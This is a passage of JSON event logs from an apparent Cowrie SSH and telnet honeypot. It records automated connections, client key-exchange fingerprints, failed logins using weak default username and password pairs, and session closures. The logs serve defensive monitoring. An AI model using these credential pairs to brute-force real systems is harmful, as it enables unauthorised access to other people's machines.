16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:34.827321Z","src_ip":"193.32.162.145","session":"2821a5d17b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:35.138130Z","src_ip":"193.32.162.145","session":"2821a5d17b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41944,"dst_ip":"159.203.135.109","dst_port":22,"session":"299403c73bbd","protocol":"ssh","message":"New connection: 45.156.87.69:41944 (159.203.135.109:22) [session: 299403c73bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:35.734224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:35.739263Z","src_ip":"45.156.87.69","session":"299403c73bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:35.827013Z","src_ip":"45.156.87.69","session":"299403c73bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:36.162504Z","src_ip":"45.156.87.69","session":"299403c73bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:36.241259Z","src_ip":"193.32.162.145","session":"2821a5d17b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:37.272695Z","src_ip":"45.156.87.69","session":"299403c73bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.18509888648987,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:37.401179Z","src_ip":"152.42.224.71","session":"ae030f086740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.55416989326477,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:38.600650Z","src_ip":"152.42.224.71","session":"7fff266e30dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":17238,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e475a76ffe","protocol":"ssh","message":"New connection: 45.156.87.69:17238 (159.203.135.109:22) [session: 83e475a76ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:39.448379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:39.453208Z","src_ip":"45.156.87.69","session":"83e475a76ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:39.555355Z","src_ip":"45.156.87.69","session":"83e475a76ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:39.931343Z","src_ip":"45.156.87.69","session":"83e475a76ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:41.016560Z","src_ip":"45.156.87.69","session":"83e475a76ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":17264,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa7236f08e6","protocol":"ssh","message":"New connection: 45.156.87.69:17264 (159.203.135.109:22) [session: 5fa7236f08e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:43.141873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:43.146647Z","src_ip":"45.156.87.69","session":"5fa7236f08e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:43.256718Z","src_ip":"45.156.87.69","session":"5fa7236f08e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"p@ssw0rd","message":"login attempt [demo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:43.687737Z","src_ip":"45.156.87.69","session":"5fa7236f08e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:44.853597Z","src_ip":"45.156.87.69","session":"5fa7236f08e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63654,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9b089b98a58","protocol":"ssh","message":"New connection: 45.156.87.69:63654 (159.203.135.109:22) [session: a9b089b98a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:46.688920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:46.693457Z","src_ip":"45.156.87.69","session":"a9b089b98a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:46.801717Z","src_ip":"45.156.87.69","session":"a9b089b98a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"p@ssw0rd","message":"login attempt [ftpadmin/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:47.273915Z","src_ip":"45.156.87.69","session":"a9b089b98a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:48.359358Z","src_ip":"45.156.87.69","session":"a9b089b98a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a1ace26ab8","protocol":"telnet","message":"New connection: 152.42.224.71:46554 (10.17.0.5:23) [session: b8a1ace26ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:49.066202Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63668,"dst_ip":"159.203.135.109","dst_port":22,"session":"d47cc1c92315","protocol":"ssh","message":"New connection: 45.156.87.69:63668 (159.203.135.109:22) [session: d47cc1c92315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:50.160390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:50.165057Z","src_ip":"45.156.87.69","session":"d47cc1c92315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:50.267944Z","src_ip":"45.156.87.69","session":"d47cc1c92315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:50.820234Z","src_ip":"45.156.87.69","session":"d47cc1c92315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:51.905186Z","src_ip":"45.156.87.69","session":"d47cc1c92315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46560,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b6ebc7c674","protocol":"telnet","message":"New connection: 152.42.224.71:46560 (10.17.0.5:23) [session: c1b6ebc7c674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:52.273477Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63682,"dst_ip":"159.203.135.109","dst_port":22,"session":"2213822a3aa1","protocol":"ssh","message":"New connection: 45.156.87.69:63682 (159.203.135.109:22) [session: 2213822a3aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:53.614392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:53.620492Z","src_ip":"45.156.87.69","session":"2213822a3aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:53.723686Z","src_ip":"45.156.87.69","session":"2213822a3aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"api","password":"api","message":"login attempt [api/api] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:54.372211Z","src_ip":"45.156.87.69","session":"2213822a3aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:55.459487Z","src_ip":"45.156.87.69","session":"2213822a3aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41594,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dc1245a36a9","protocol":"ssh","message":"New connection: 45.156.87.69:41594 (159.203.135.109:22) [session: 9dc1245a36a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.068874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.082386Z","src_ip":"45.156.87.69","session":"9dc1245a36a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.179552Z","src_ip":"45.156.87.69","session":"9dc1245a36a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":52876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed532ee2ceb2","protocol":"ssh","message":"New connection: 103.149.28.157:52876 (159.203.135.109:22) [session: ed532ee2ceb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.880226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.885238Z","src_ip":"103.149.28.157","session":"ed532ee2ceb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123456","message":"login attempt [marketing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:57.975627Z","src_ip":"45.156.87.69","session":"9dc1245a36a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:58.127873Z","src_ip":"103.149.28.157","session":"ed532ee2ceb2","protocol":"ssh"}
